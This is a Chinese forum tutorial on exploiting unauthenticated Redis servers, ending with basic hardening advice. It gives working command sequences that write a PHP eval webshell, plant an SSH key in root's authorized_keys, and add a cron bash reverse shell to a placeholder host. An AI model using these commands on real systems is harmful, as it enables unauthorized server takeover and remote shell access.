论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
IT评测·应用市场-qidao123.com
»
论坛
›
数据库
›
Mysql
›
Redis未授权访问漏洞详解(全面)
Redis未授权访问漏洞详解(全面)
海哥
论坛元老
|
2024-7-24 10:39:21
|
显示全部楼层
|
阅读模式
楼主
主题
1003
|
帖子
1003
|
积分
3009
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
这个漏洞造成原因是因为设置不当的题目,没有非常复杂的原理。这个漏洞一样平常位于内网之中,能使用好Redis漏洞每每能够顺利拿下服务器权限,以是也照旧很紧张的。
目录
Redis简朴先容
Redis未授权访问漏洞先容
使用条件
影响版本
漏洞检测
漏洞危害
Redis写入webshell
原理
使用条件
使用过程
Redis写入SSH公钥
原理
使用条件
使用过程
Redis写入计划任务反弹shell
原理
使用条件
使用过程
Redis未授权访问漏洞防御
总结
Redis简朴先容
Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的全部键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。
Redis未授权访问漏洞先容
使用条件
Redis默认情况下绑定在127.0.0.1:6379,在没有举行采用干系的策略,如添加防火墙规则避免其他非信任来源ip访问,就会将Redis服务袒露在公网上;
并且Redis默认情况是空暗码连接
在服务器以root身份运行Redis时
这将导致任意用户可以访问目的服务器下未授权访问Redis以及读取Redis数据。
影响版本
Redis2.x-5.x
漏洞检测
一样平常使用nmap工具对目的机器举行扫描。如果发现主机的6379端口是对外开放的,并且目的主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目的服务器。
redis-cli -h 服务器ip
复制代码
漏洞危害
攻击者无需通过认证就可以访问内部数据,导致敏感信息泄露
攻击者可以恶意实行flushall来清空全部数据
攻击者可通过eval实行lua代码,或通过数据备份功能往磁盘写入后门文件
eval()是用来实行一个字符串表达式,并返回表达式的值。
lua是一种脚本语言,用C语言编写,源码开放,其计划目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。
由于Redis以root权限运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录目的服务器
Redis写入webshell
原理
Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。
使用条件
当存在未授权访问漏洞时,可以直接通过Redis连接靶机;
如果靶机正好开启web服务;
且攻击者知道了web目录的路径且该路径具有文件读写的权限。
这时候攻击者可以通过Redis写入webshell。
使用过程
以下为举例:
config set dir /var/www.html/ #切换到web写入目录
config set dbfilename zcc.php #设置写入木马的文件名
set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
save #将内存中的数据导出到磁盘
复制代码
Redis写入SSH公钥
原理
在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,如许就可以在服务器端的/root/.ssh下天生一个授权的key。
使用条件
通过漏洞成功连接Redis之后;
且Redis服务以root权限实行;
以及安全模式protected-mode处于关闭状态;
服务器开启了ssh服务,且答应密钥登录。将密钥等设置信息存放在/root/.ssh目录(安装了openssh只要将公钥放入到/root/.ssh文件夹中,无需设置默认就答应使用公钥登录),
即可长途写入一个公钥,直接登录长途服务器。
使用过程
ssh-keygen -t rsa
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa ...公钥...\n\n\n"
save
复制代码
连接:
ssh -i id_rsa root@ip
复制代码
Redis写入计划任务反弹shell
原理
在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目的主机计划任务的路径,把缓冲的数据保存在文件里,如许就可以一个计划任务举行反弹shell。
使用条件
能够长途连接到Redis
安全模式protectcd-mode处于关闭模式
以root权限运行
使用过程
set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
config setdir /var/spool/cron
config set dbfilename root
save
复制代码
Redis未授权访问漏洞防御
限制访问IP
修改默认端口
使用暗码登录,限制密钥登录
不使用root运行Redis
总结
Redis未授权访问漏洞是由于设置题目而产生的漏洞,因为没有改变默认端口6379且没有限制外来IP访问导致的漏洞。
Redis未授权漏洞一样平常可以用来写入webshell、写入ssh公钥举行登录、写入任务反弹shell连接
这些漏洞原理本质就是能够长途连接上Redis,且能够有root权限举行修改文件,然后将想要实现的内容写入就可以达成目的
Redis未授权漏洞的防御针对以上几点大概有:限制访问IP、修改默认端口、不使用密钥登录、不使用root权限运行Redis。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
海哥
论坛元老
这个人很懒什么都没写!
楼主热帖
makefile简单脚本编写和Linux调试器gdb ...
【第90题】JAVA高级技术-网络编程9(简 ...
CMOS图像传感器——黑电平校正 ...
什么是精准卫星授时?什么是NTP网络时 ...
TCP 时间戳妙用
C++ 深度解析教程(十七)C 语言异常处 ...
Linux【实操篇】—— 日志管理 ...
如何使用 FlowUs 、Notion 等笔记软件 ...
windows提权-系统错误配置提权 ...
「低功耗蓝牙模块」主从一体 蓝牙嗅探- ...
标签云
AI
运维
CIO
存储
服务器
浏览过的版块
云原生
网络安全
IOS
Oracle
移动端开发
程序人生
鸿蒙
分布式数据库
.Net
快速回复
返回顶部
返回列表